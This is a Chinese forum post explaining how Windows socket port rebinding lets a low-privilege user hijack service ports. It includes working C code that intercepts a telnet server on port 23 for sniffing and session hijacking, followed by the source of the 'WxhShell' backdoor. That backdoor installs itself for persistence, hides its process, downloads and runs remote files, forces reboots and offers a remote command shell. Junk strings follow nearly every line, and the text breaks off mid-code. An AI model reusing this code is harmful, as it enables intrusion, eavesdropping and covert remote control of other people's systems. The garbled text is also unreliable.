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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _ $PeFE2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?MDo. z3  
1@Ba7>%'  
  saddr.sin_family = AF_INET; p5In9s  
BDt$s( \  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Uahh|> s  
Q-)(s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); NbWEP\dS'z  
;v8TT}R  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y] 1U1 08  
\Y,P  
  这意味着什么?意味着可以进行如下的攻击: (U\o0LI  
N\|B06X  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1D%P;eUDp  
^|/<e?~I  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) HOD?i_  
pIIp61=$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zDg*ds\  
f}dlQkZ(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  l_yy;e  
F,YP Il  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 mjOxmwo  
/}u:N:HA%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 j'*.=cwsp  
Ioe.[&o6B  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]xf89[;0  
uNewWtUb(  
  #include mB2}(DbhE  
  #include Rd(8j+Q?ps  
  #include [KUkv  
  #include    Wv>`x?W  
  DWORD WINAPI ClientThread(LPVOID lpParam);   hGFi|9/-u  
  int main() <\*)YKjn/@  
  { 58?WO}  
  WORD wVersionRequested; 28JVW3&)  
  DWORD ret; s=$xnc}mf  
  WSADATA wsaData; 2?(/$F9X,  
  BOOL val; $d1ow#ROgy  
  SOCKADDR_IN saddr; tE>FL  
  SOCKADDR_IN scaddr; I N@ ~~  
  int err; UXZ3~/L5 O  
  SOCKET s; qX&+  
  SOCKET sc; .0nT*LF  
  int caddsize; 52^3N>X4X  
  HANDLE mt; N+V#=U y  
  DWORD tid;   Ob%iZ.D|3<  
  wVersionRequested = MAKEWORD( 2, 2 ); l[ko)%7V  
  err = WSAStartup( wVersionRequested, &wsaData ); A@M2(?w4  
  if ( err != 0 ) { yO-2.2h  
  printf("error!WSAStartup failed!\n"); (muJ-~CJk  
  return -1; '+_-r'2  
  } ks$5$,^T2o  
  saddr.sin_family = AF_INET; wz+mFf  
   :WH{wm|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 HF*~bL  
6oKlr,.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D~qi6@Ga  
  saddr.sin_port = htons(23); *3^7'^j<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H94_ae  
  { OL=X&Vaf<  
  printf("error!socket failed!\n"); 4 JBfA,  
  return -1; oe6Ex5h  
  } /&?ei*z  
  val = TRUE; va~:Ivl-)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7|Vpk&.>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @"cnPLh&  
  { Pf8_6z_  
  printf("error!setsockopt failed!\n"); [:,|g;=Y}  
  return -1; uUl ;}W  
  } C&q}&=3r  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; R||$Wi[$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [L7S`Z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ev#, }l+  
W9Us I  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qPN  
  { GDj_+G;tO\  
  ret=GetLastError(); yyPj!<.MGP  
  printf("error!bind failed!\n"); p-C{$5& O1  
  return -1; b%VBSNZ  
  } ^=I[uX-3ue  
  listen(s,2); r?`nc6$0|  
  while(1) zv1,DnkqF  
  { $IKN7  
  caddsize = sizeof(scaddr); 3F6'3NvVc2  
  //接受连接请求 F0m[ls$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Vg (p_k45`  
  if(sc!=INVALID_SOCKET) 9( &$Gwi  
  { 48gpXcc@|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); z:n JN%Qb  
  if(mt==NULL) I%?M9y.u6  
  { Q1h v2*/U  
  printf("Thread Creat Failed!\n"); 7Aw <:  
  break; J_ h\tM  
  } 8=\k<X{`  
  } Q<osYO{l  
  CloseHandle(mt); <!u(_Bxw/  
  } G4F~V't  
  closesocket(s); #.j:P#  
  WSACleanup(); 4!glgEE*  
  return 0;  z_C7=ga<  
  }   Cn9MboXX  
  DWORD WINAPI ClientThread(LPVOID lpParam) */]1?M@P)  
  { =0@o(#gM  
  SOCKET ss = (SOCKET)lpParam; aBF<it>  
  SOCKET sc; OOsd*nX/  
  unsigned char buf[4096]; >03JQe_#*L  
  SOCKADDR_IN saddr; (_q&QI0{  
  long num; d{^K8T3  
  DWORD val; d[(%5pw~zL  
  DWORD ret; -mZ{.\9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Erl@] P4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   or` "{wop  
  saddr.sin_family = AF_INET; @[(%b{TE;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :Ea ]baM"  
  saddr.sin_port = htons(23); {-IRX)m*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  `Q^Vm3h  
  { k/xNqN(  
  printf("error!socket failed!\n"); BW)t2kR&  
  return -1; (+\K  
  } $L"-JNS  
  val = 100; =2wy;@f  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x(zW<J5X"  
  { iL IKrU+`  
  ret = GetLastError(); (i'wa6[E8  
  return -1; J0Y-e39 `  
  } :;x#qtv~Iz  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?y{"OuRf.  
  { H~qY7t  
  ret = GetLastError(); A`1/g{Ha  
  return -1; \?\q0o<V$  
  } 6? (8KsaN  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) dZbG#4oO  
  { xeHqC9Ou  
  printf("error!socket connect failed!\n"); )\0c2_w>  
  closesocket(sc); j%&^qD,  
  closesocket(ss); iQaFR@  
  return -1; qo;F]v*pkK  
  } r(=3yd/G$  
  while(1) 7W#9ki1  
  { w*N9p8hb]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 QeAkuqT'[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v3jx2Z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 UUql"$q  
  num = recv(ss,buf,4096,0); yIThzy S  
  if(num>0) z3}4 +~~  
  send(sc,buf,num,0); {Q~A;t  
  else if(num==0) HaamLu  
  break; }oTac  
  num = recv(sc,buf,4096,0); ~&IL>2-B  
  if(num>0) P(r}<SM  
  send(ss,buf,num,0); 3?(||h{  
  else if(num==0) `S7${0e  
  break; ?+#E&F  
  } >7V&pH'  
  closesocket(ss); M*c`@\  
  closesocket(sc); sXSZ#@u,WN  
  return 0 ; .!t' &eV  
  } k4-C*Gx$h  
)6mv 7M{  
T+/Gz'  
========================================================== 2\!.w^7'^T  
BPKeG0F7  
下边附上一个代码,,WXhSHELL U `"nX)$  
86@@j*c(@k  
========================================================== c~Hq.K$d  
LNU9M>  
#include "stdafx.h" G#0 4h{  
M:(k7a+[^  
#include <stdio.h> 1k>*   
#include <string.h> 71w$i 4  
#include <windows.h> WYE[H9x1?  
#include <winsock2.h> ]urcA,a  
#include <winsvc.h> R\=y/tw0H  
#include <urlmon.h> *K\/5Fzl  
UkL'h&J~  
#pragma comment (lib, "Ws2_32.lib") f-6E>  
#pragma comment (lib, "urlmon.lib") Z,,Wo %)o  
x2TCw  
#define MAX_USER   100 // 最大客户端连接数 j:,*Liz  
#define BUF_SOCK   200 // sock buffer /$x6//0If  
#define KEY_BUFF   255 // 输入 buffer T[eTT]Z{Ia  
TM':G9n  
#define REBOOT     0   // 重启 ni]gS0/  
#define SHUTDOWN   1   // 关机 mv xg|<  
|xaA3UA  
#define DEF_PORT   5000 // 监听端口 ZD0Q<8%  
fD|ox  
#define REG_LEN     16   // 注册表键长度 $y >J=  
#define SVC_LEN     80   // NT服务名长度 r jL%M';  
U07n7`2w  
// 从dll定义API Nr7MSFiL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p<6pmW3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 15gI-Qb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JWrvAM$O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +B'9!t4 2  
p2 y h  
// wxhshell配置信息 gzHjD-g-<  
struct WSCFG { *4[3?~_B#6  
  int ws_port;         // 监听端口 kF.PLn'iS  
  char ws_passstr[REG_LEN]; // 口令 }EO n=*  
  int ws_autoins;       // 安装标记, 1=yes 0=no +;z4.C{gM  
  char ws_regname[REG_LEN]; // 注册表键名 5R,/X  
  char ws_svcname[REG_LEN]; // 服务名 37!}8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y6fU;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JX/rAnc@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _&JlE$ua7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G(4:yK0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G#CWl),=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tL;;Yt  
+]  |J  
}; 8F4#E U  
|)IN20  
// default Wxhshell configuration T.W/S0#j3  
struct WSCFG wscfg={DEF_PORT, OY`G_=6!N  
    "xuhuanlingzhe", K#";!  
    1, 88)0Xi|]KP  
    "Wxhshell", JUU0Tx:`9)  
    "Wxhshell", )CXJRo`j0  
            "WxhShell Service", |g 4!Yd  
    "Wrsky Windows CmdShell Service", bU:"dqRm<  
    "Please Input Your Password: ", ^#%$?w>wI  
  1, +V7*vlx-  
  "http://www.wrsky.com/wxhshell.exe", 5'>(|7~%\  
  "Wxhshell.exe" ;Z.}~d6>!  
    }; oChcEx%  
WE`Y!  
// 消息定义模块 |vWx[=`o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *+qXX CA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G*wn[o(^j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]Wv\$JXI  
char *msg_ws_ext="\n\rExit."; u8N+ht@  
char *msg_ws_end="\n\rQuit."; l=EIbh  
char *msg_ws_boot="\n\rReboot..."; kRE^G*?  
char *msg_ws_poff="\n\rShutdown..."; UXa3>q>  
char *msg_ws_down="\n\rSave to "; ";",r^vr\  
w},k~5U^s  
char *msg_ws_err="\n\rErr!"; 0VsrAV0  
char *msg_ws_ok="\n\rOK!"; `t ZvIy*  
:fpYraBM  
char ExeFile[MAX_PATH]; /k}v m3  
int nUser = 0; |n~,$  
HANDLE handles[MAX_USER]; O2Rv^la  
int OsIsNt; S <|e/![@  
0-4WLMx  
SERVICE_STATUS       serviceStatus; ]rHdG^0uss  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lgA9p 4-  
"vjz $.  
// 函数声明  }e9:2  
int Install(void); )BS./zD*[<  
int Uninstall(void); "2qp-'^[c  
int DownloadFile(char *sURL, SOCKET wsh); 3=5+NJ'8  
int Boot(int flag); 7=mU["raz`  
void HideProc(void); |3\ mH~Bw  
int GetOsVer(void); "o}3i!2Qr  
int Wxhshell(SOCKET wsl); U4O F{  
void TalkWithClient(void *cs); gnB%/g[_  
int CmdShell(SOCKET sock); vVZ@/D6w  
int StartFromService(void); `Nu3s<O7CF  
int StartWxhshell(LPSTR lpCmdLine); /o![%&-l  
81H04L9K 7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1c+[S]7rY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aLuxCobV  
aeE9dV~  
// 数据结构和表定义 Eh0R0;l5>  
SERVICE_TABLE_ENTRY DispatchTable[] = *wyaBV?*K  
{ i>q]U:U  
{wscfg.ws_svcname, NTServiceMain}, g;eMsoJG  
{NULL, NULL} {o5E#<)  
}; Ck(D: % ~s  
%,-vmqr  
// 自我安装 _i6G)u&N  
int Install(void) #$X_,P|D  
{ ;l5F il,3  
  char svExeFile[MAX_PATH]; F ~ /{1Q*  
  HKEY key; e [3sWv  
  strcpy(svExeFile,ExeFile); +:wOzTUN  
=f{V<i~q  
// 如果是win9x系统,修改注册表设为自启动 f(7 /  
if(!OsIsNt) { srJ,Jr(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t#}/VnSQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &d9tR\}  
  RegCloseKey(key); `gD'q5.z;3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _~=X/I R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); , S}[48$  
  RegCloseKey(key); # TC x8]F  
  return 0; do7 [Nj  
    } #U(dleT8  
  } 6 }qNH29  
}  [L] ca*  
else { qnv9?Xh  
avykg(  
// 如果是NT以上系统,安装为系统服务 ft4J.oT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O,]t.1V  
if (schSCManager!=0) \qi=Us|=  
{ xv9SQ,n<  
  SC_HANDLE schService = CreateService ;0P2nc:U~  
  ( #: w/vk  
  schSCManager, =MRg  
  wscfg.ws_svcname, d1D{wZ3g  
  wscfg.ws_svcdisp, RAR"9 N .  
  SERVICE_ALL_ACCESS, $2 ~RZpS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6|rqsk  
  SERVICE_AUTO_START, 2zh?]if  
  SERVICE_ERROR_NORMAL, H)G ^ Y1  
  svExeFile, D#1'#di*t  
  NULL, <<@$0RW  
  NULL, 8@|+- )t  
  NULL, [&j!g  
  NULL, j#9p 0[  
  NULL | ?~-k[|  
  ); |Ah26<&  
  if (schService!=0) tB'F`HM:mq  
  { ~aNK)<Fznd  
  CloseServiceHandle(schService); [l:3F<M  
  CloseServiceHandle(schSCManager); wH3FCfvm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /4<eI 3Z  
  strcat(svExeFile,wscfg.ws_svcname); |/Am\tk#13  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uw&GXOzew9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Gnr]qxL  
  RegCloseKey(key); `BmAu[(e&  
  return 0; n Uz 2~z  
    } ;mu9;ixZ  
  } cx&jnF#$  
  CloseServiceHandle(schSCManager); T""X~+{Z@  
} #| `W ]  
} q<>LK  
6K5KZZG  
return 1; [kMXr'TyPX  
} c1'OIK C  
-z-58FLlO  
// 自我卸载 Y]0oF_ :7  
int Uninstall(void) bBW(# Q_a  
{ '{@hBB+ D  
  HKEY key; ;m,lS_[c  
MP-A^QT  
if(!OsIsNt) { J@=1zL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KCGs*kp>  
  RegDeleteValue(key,wscfg.ws_regname); /iQ}DbtRb  
  RegCloseKey(key); uB>NwCL;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P)XkqOGpT9  
  RegDeleteValue(key,wscfg.ws_regname); x;# OM  
  RegCloseKey(key); t7H2z}06=h  
  return 0; cmmH)6c>  
  } @f{yx\u/  
} R)?K+cJ%  
} ja$e)  
else { [9u/x%f(  
#?k$0|60  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cYF R.~p  
if (schSCManager!=0) +M/04  
{ A=o p R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &kB[jz_[A  
  if (schService!=0) >r2m1}6g"  
  { L~cswG'K  
  if(DeleteService(schService)!=0) { 2fT't"gw  
  CloseServiceHandle(schService); c (O+s/  
  CloseServiceHandle(schSCManager); hY7Q$B<  
  return 0; LS{g=3P0  
  } ~Us1F=i_Q  
  CloseServiceHandle(schService); v(3nBZHv_!  
  } yK+76\} I  
  CloseServiceHandle(schSCManager); =3?t%l;n  
} t48(,  
} i,NN"  
N'+d1  
return 1; zO<EbqNe!  
} $NJ]2P9L  
iOm~  
// 从指定url下载文件 .7ESPr  
int DownloadFile(char *sURL, SOCKET wsh) 2-ev7:  
{ N#Bg`:!  
  HRESULT hr; )#l &F$  
char seps[]= "/"; R|% 3JE0  
char *token; s03 DL  
char *file; 7uFM)b@.P  
char myURL[MAX_PATH]; RXkE"H{  
char myFILE[MAX_PATH]; [aU#"k)M  
8XD9fB^  
strcpy(myURL,sURL); Z'6 o$Xv  
  token=strtok(myURL,seps); >|KfO>  
  while(token!=NULL) !!E_WDZ#9  
  { [ -bL>8  
    file=token; W1$B6+}Z0V  
  token=strtok(NULL,seps); j_-$xz5-  
  } - o$S=  
(k"|k  
GetCurrentDirectory(MAX_PATH,myFILE); ELeR5xT  
strcat(myFILE, "\\"); <1.].A@b*  
strcat(myFILE, file); :!;BOCTYI  
  send(wsh,myFILE,strlen(myFILE),0); '\H{Y[  
send(wsh,"...",3,0); +?zyFb]Km  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EJO:3aKa  
  if(hr==S_OK) L,of@>  
return 0; P1]ucu_y,  
else -q[T0^e S  
return 1; Ne,7[k  
_SjS^z~  
} ?|Fu^eR%X  
D"j =|4S#  
// 系统电源模块 %}j.6'`{  
int Boot(int flag) di]z  
{ zNuiB LxDs  
  HANDLE hToken; cRs Lt/Wr  
  TOKEN_PRIVILEGES tkp; %gSqc }v*  
+ 1\1Z@\M  
  if(OsIsNt) { I! {AWfp0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Wxkk^J9F3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;'!U/N;-  
    tkp.PrivilegeCount = 1; 2x{@19w)C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {cnya*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 38b%km#  
if(flag==REBOOT) { 2/sD#vC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w&f8AY)#]4  
  return 0; kEf}yTy  
} FSoL|lH  
else { @=h%;"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) - y{*U1[  
  return 0; M7/P&d  
} p%+ 0^]v1  
  } {J%Na&D  
  else { YN_#x  
if(flag==REBOOT) { RQWVjF#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t }7hD  
  return 0; PwQW5,,h0  
} q<o*rcwf ^  
else { " E72j.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5s8S;Pb]<  
  return 0; 3hab51J  
} (l{+ T#  
} 54WM*FZ  
$"0 t1  
return 1; Q~G+YjM3  
} xyj)W  
10_eUQN  
// win9x进程隐藏模块 yZ~<! 5.P  
void HideProc(void) x9xb4ZW  
{ B)O=wx  
LG'JQGl5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I.r &;   
  if ( hKernel != NULL ) iC?s`c0B  
  { P0~3<h?U8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <Q/^[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5u T 9ssC  
    FreeLibrary(hKernel); D$q"k"  
  } |Yh-`~~A"  
5'@J}7h  
return; [&|Le;h  
} 0){%4  
2hEB?ZAQZ  
// 获取操作系统版本 (9*s:)zD-  
int GetOsVer(void) .3?'+KZ,  
{ +L;[-]E8  
  OSVERSIONINFO winfo; D%(9ot{!e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^c83_93)R  
  GetVersionEx(&winfo); bxyEn'vNvQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #pBAGm3  
  return 1; @g9j+DcU  
  else 2`+?s  
  return 0; yY_G;Wk  
} `~UCWK  
Re5m  
// 客户端句柄模块 \3n{%\_  
int Wxhshell(SOCKET wsl) & d\`=e  
{ @ v/%^  
  SOCKET wsh; u><ax  
  struct sockaddr_in client; 6?Q&>V26Y  
  DWORD myID; FH)bE#4  
)b m|],'  
  while(nUser<MAX_USER) uYIw ?fXy  
{ 1)/B V{n  
  int nSize=sizeof(client); v\rOs+.s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uEWWY t  
  if(wsh==INVALID_SOCKET) return 1; +cvz  
^%~ztn 51  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x,E#+ m  
if(handles[nUser]==0) 0t}=F 4@&a  
  closesocket(wsh); [#V"a:8m}  
else _55T  
  nUser++; &FHE(7}/#  
  } 8xj4N%PA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B3O^(M5W  
pWSYbN+d  
  return 0; 8H./@~_ =  
} Ox?LVRvxI  
E87/B%R  
// 关闭 socket YP>VC(f   
void CloseIt(SOCKET wsh) &YO5N4X~o  
{ v|VY5vN  
closesocket(wsh); -?e~dLu  
nUser--; cNw<k&w6F  
ExitThread(0); PtO-%I<N  
} G\Hck=P[$3  
~ i1w,;(  
// 客户端请求句柄 l"}W $3]u$  
void TalkWithClient(void *cs) z~4L=tA(  
{ ^c< <I-o|  
}zRYT_:  
  SOCKET wsh=(SOCKET)cs; $Bz|[=  
  char pwd[SVC_LEN]; idGkX ?  
  char cmd[KEY_BUFF]; lk \|EG  
char chr[1]; rr3NY$W  
int i,j; j_&/^-;e  
TcZ Ci^1F  
  while (nUser < MAX_USER) { 7$x@;%xd  
-2v|d]3qG  
if(wscfg.ws_passstr) {  ^wb -s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); si=/=h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \4K8*`$  
  //ZeroMemory(pwd,KEY_BUFF); 9XT6Gf56  
      i=0; `>?\MWyu  
  while(i<SVC_LEN) { .}ohnnJB0  
fTY@{t  
  // 设置超时 KK(x)(  
  fd_set FdRead; ;&W N%L*  
  struct timeval TimeOut; }tft@,dIC  
  FD_ZERO(&FdRead); q]<Xx{_  
  FD_SET(wsh,&FdRead); _M:)x0("  
  TimeOut.tv_sec=8; dLD"Cx  
  TimeOut.tv_usec=0; a&#Z=WK4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1)#<nk)I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~IE:i-Kz  
=zVbZ7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o4Fh`?d}  
  pwd=chr[0]; mb0${n~fz  
  if(chr[0]==0xd || chr[0]==0xa) { IL3,dad'^  
  pwd=0; 8PXleAn  
  break; VOG DD@  
  } $Y$!nPO  
  i++; :J(a;/~ip  
    } U(W#H|  
J2aA"BhdC"  
  // 如果是非法用户,关闭 socket n.$<D[@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )K@ 20Q+0K  
} 3tnYK&  
m f4@g05  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s=q\BmG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BRoi`.b:  
z9h`sY~  
while(1) { kC|tv{g#>  
xw%?R=&L  
  ZeroMemory(cmd,KEY_BUFF); yu#Jw  
.Yha(5(  
      // 自动支持客户端 telnet标准   kt[#@M!}  
  j=0; sN-5vYfC*  
  while(j<KEY_BUFF) { TQ=\l*R(A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lqX]'gu]\  
  cmd[j]=chr[0]; Rr%]/%  
  if(chr[0]==0xa || chr[0]==0xd) { :U ?P~HI  
  cmd[j]=0; 8x58sOR=  
  break; g/`i:=  
  } m\1*/6oV  
  j++; {nryAXK  
    } =:~~RqHl  
@#VxjXW^  
  // 下载文件 M*t@Q|$:  
  if(strstr(cmd,"http://")) { E'XF n'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e{=7,DRH<  
  if(DownloadFile(cmd,wsh)) RF6(n8["MW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mWmDH74  
  else ^Xa-)Pu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9!2KpuWji  
  } U%gP2]t%cs  
  else { y::KjB 0  
WgE~H)_%  
    switch(cmd[0]) { hJFQ/(  
  2Q9s?C   
  // 帮助 He#+zE ;  
  case '?': { _<t3~{qUT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JFYeOmR+l  
    break; |8+<qgQ  
  } @D0Ut9)  
  // 安装 -uv1$|  
  case 'i': { ocdXzk`  
    if(Install()) =b`>ggw#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oo7n_h1  
    else G92=b *x/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N1LR _vS"  
    break; XHN?pVZ7  
    } K<|b>PI.s  
  // 卸载 kZz;l(?0  
  case 'r': { E8%O+x}  
    if(Uninstall()) _$cQAH0 E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1-w1k ^e  
    else #7Qn\C2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cc!n`%qc  
    break; c%xxsq2n  
    } q".l:T%|C}  
  // 显示 wxhshell 所在路径 %}j/G l5  
  case 'p': { _;'}P2&Q  
    char svExeFile[MAX_PATH]; `awk@  
    strcpy(svExeFile,"\n\r"); QZh8l-!#5  
      strcat(svExeFile,ExeFile);  zKT \i  
        send(wsh,svExeFile,strlen(svExeFile),0); N66jFRA;x  
    break; x!I7vs~~zW  
    }  |2n2  
  // 重启 >{m>&u;Cc  
  case 'b': { 0Fbq/63  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rTmcP23]  
    if(Boot(REBOOT)) l l&iMj]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >St  
    else { c:=Z<0S;  
    closesocket(wsh); I*ho@`U  
    ExitThread(0); vKaX,)P;?  
    } :$P < e~z'  
    break; g@nE7H1V  
    } S;|%'Sn|j9  
  // 关机 }O o  
  case 'd': { zlSwKd(  
